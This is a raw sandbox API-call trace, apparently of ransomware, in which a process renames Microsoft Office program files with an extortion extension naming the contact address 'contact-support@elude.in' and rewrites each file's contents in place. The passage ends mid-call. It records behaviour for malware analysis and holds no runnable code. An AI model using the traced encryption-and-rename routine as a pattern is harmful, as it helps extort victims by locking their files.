ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17c8b2bb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e4fc, dwReserved0=0x9707496, dwReserved1=0x72922f0, cFileName="AppVDllSurrogate64.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVDL~1.FIR")) returned 0x6d4f40 [0137.305] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0137.305] Sleep (dwMilliseconds=0x1) [0139.071] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx", len=0x5f | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 1 [0139.071] GetProcessHeap () returned 0x630000 [0139.071] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a08) returned 0x72b0508 [0139.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0139.081] CloseHandle (hObject=0x68c) returned 1 [0139.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0139.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0139.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0ad, dwReserved0=0x740072, dwReserved1=0x650040, cFileName="Office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5280 [0139.082] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0139.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0139.083] GetProcessHeap () returned 0x630000 [0139.083] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb0c1) returned 0x728fb10 [0139.083] GetProcessHeap () returned 0x630000 [0139.083] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb0c1) returned 0x729abe0 [0139.083] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.083] ReadFile (in: hFile=0x68c, lpBuffer=0x728fb10, nNumberOfBytesToRead=0xb0a0, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fb10*, lpNumberOfBytesRead=0x65fff0c*=0xb0a0, lpOverlapped=0x0) returned 1 [0141.956] GetProcessHeap () returned 0x630000 [0141.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0141.956] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.956] WriteFile (in: hFile=0x68c, lpBuffer=0x729abe0*, nNumberOfBytesToWrite=0xb0a0, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x729abe0*, lpNumberOfBytesWritten=0x65fff0c*=0xb0a0, lpOverlapped=0x0) returned 1 [0141.957] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.957] WriteFile (in: hFile=0x68c, lpBuffer=0x72a5c7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a5c7f*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0141.957] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.957] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0141.957] CloseHandle (hObject=0x68c) returned 1 [0141.957] GetProcessHeap () returned 0x630000 [0141.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x729abe0 | out: hHeap=0x630000) returned 1 [0142.281] GetProcessHeap () returned 0x630000 [0142.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728fb10 | out: hHeap=0x630000) returned 1 [0142.281] GetProcessHeap () returned 0x630000 [0142.281] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0142.281] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a90a282, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb0d1, dwReserved0=0x9707496, dwReserved1=0x728fb08, cFileName="Office 2007 - 2010.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d53c0 [0142.281] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0142.281] Sleep (dwMilliseconds=0x1) [0142.284] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms", len=0x4b | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 1 [0142.284] GetProcessHeap () returned 0x630000 [0142.284] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1cc0) returned 0x7203db8 [0142.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0143.334] CloseHandle (hObject=0x4bc) returned 1 [0143.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe565d12b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe565d12b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe57b4606, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="MondoVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~4.FIR")) returned 0x6d5480 [0143.809] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0143.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0143.809] GetProcessHeap () returned 0x630000 [0143.809] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x7247db0 [0143.810] GetProcessHeap () returned 0x630000 [0143.810] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x724ab00 [0143.810] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.810] ReadFile (in: hFile=0x4bc, lpBuffer=0x7247db0, nNumberOfBytesToRead=0x2d20, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x65fff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0144.180] GetProcessHeap () returned 0x630000 [0144.180] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0144.180] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.180] WriteFile (in: hFile=0x4bc, lpBuffer=0x724ab00*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x724ab00*, lpNumberOfBytesWritten=0x65fff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0144.181] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.181] WriteFile (in: hFile=0x4bc, lpBuffer=0x724d81f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x724d81f*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0144.181] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.181] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0144.181] CloseHandle (hObject=0x4bc) returned 1 [0145.732] GetProcessHeap () returned 0x630000 [0145.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724ab00 | out: hHeap=0x630000) returned 1 [0145.732] GetProcessHeap () returned 0x630000 [0145.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0145.732] GetProcessHeap () returned 0x630000 [0145.732] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0145.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe565d12b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe565d12b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1be200ba, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d5c, dwReserved0=0x9707496, dwReserved1=0x7247da8, cFileName="MondoVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~4.FIR")) returned 0x6d54c0 [0145.732] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0145.732] Sleep (dwMilliseconds=0x1) [0145.858] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK", len=0x46 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned 1 [0145.858] GetProcessHeap () returned 0x630000 [0145.858] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2734) returned 0x71f7c78 [0145.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0146.864] CloseHandle (hObject=0x4bc) returned 1 [0146.864] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.865] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bf5d95, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ON51F1~1.FIR")) returned 0x6d5280 [0146.865] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0146.865] GetProcessHeap () returned 0x630000 [0146.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4a18 [0146.865] GetProcessHeap () returned 0x630000 [0146.865] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4d78 [0146.865] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.865] ReadFile (in: hFile=0x4bc, lpBuffer=0x6a4a18, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a18*, lpNumberOfBytesRead=0x65fff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.867] GetProcessHeap () returned 0x630000 [0146.867] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.867] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.867] WriteFile (in: hFile=0x4bc, lpBuffer=0x6a4d78*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4d78*, lpNumberOfBytesWritten=0x65fff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.867] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.867] WriteFile (in: hFile=0x4bc, lpBuffer=0x6a4dd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4dd7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.867] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.867] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.867] CloseHandle (hObject=0x4bc) returned 1 [0146.867] GetProcessHeap () returned 0x630000 [0146.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4d78 | out: hHeap=0x630000) returned 1 [0146.867] GetProcessHeap () returned 0x630000 [0146.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4a18 | out: hHeap=0x630000) returned 1 [0146.867] GetProcessHeap () returned 0x630000 [0146.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d7c1494, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x65ffd20, dwReserved1=0x6a4a18, cFileName="ONENOTE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ON51F1~1.FIR")) returned 0x6d5480 [0146.868] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0146.868] Sleep (dwMilliseconds=0x1) [0148.060] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX", len=0x41 | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX") returned 1 [0148.060] GetProcessHeap () returned 0x630000 [0148.060] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x269c) returned 0x71f7c78 [0148.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0149.120] CloseHandle (hObject=0x620) returned 1 [0149.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.161] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2577485, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x2577485, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2577485, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x5c61, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROPRP~1.FIR")) returned 0x6d52c0 [0149.161] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0149.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\proprpt.vssx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0149.161] GetProcessHeap () returned 0x630000 [0149.161] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c81) returned 0x7078ae0 [0149.161] GetProcessHeap () returned 0x630000 [0149.161] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c81) returned 0x6f98110 [0149.161] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.161] ReadFile (in: hFile=0x620, lpBuffer=0x7078ae0, nNumberOfBytesToRead=0x5c60, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078ae0*, lpNumberOfBytesRead=0x65fff0c*=0x5c60, lpOverlapped=0x0) returned 1 [0153.671] GetProcessHeap () returned 0x630000 [0153.671] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0153.671] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.672] WriteFile (in: hFile=0x620, lpBuffer=0x6f98110*, nNumberOfBytesToWrite=0x5c60, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f98110*, lpNumberOfBytesWritten=0x65fff0c*=0x5c60, lpOverlapped=0x0) returned 1 [0153.672] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.672] WriteFile (in: hFile=0x620, lpBuffer=0x6f9dd6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f9dd6f*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.672] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.672] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, 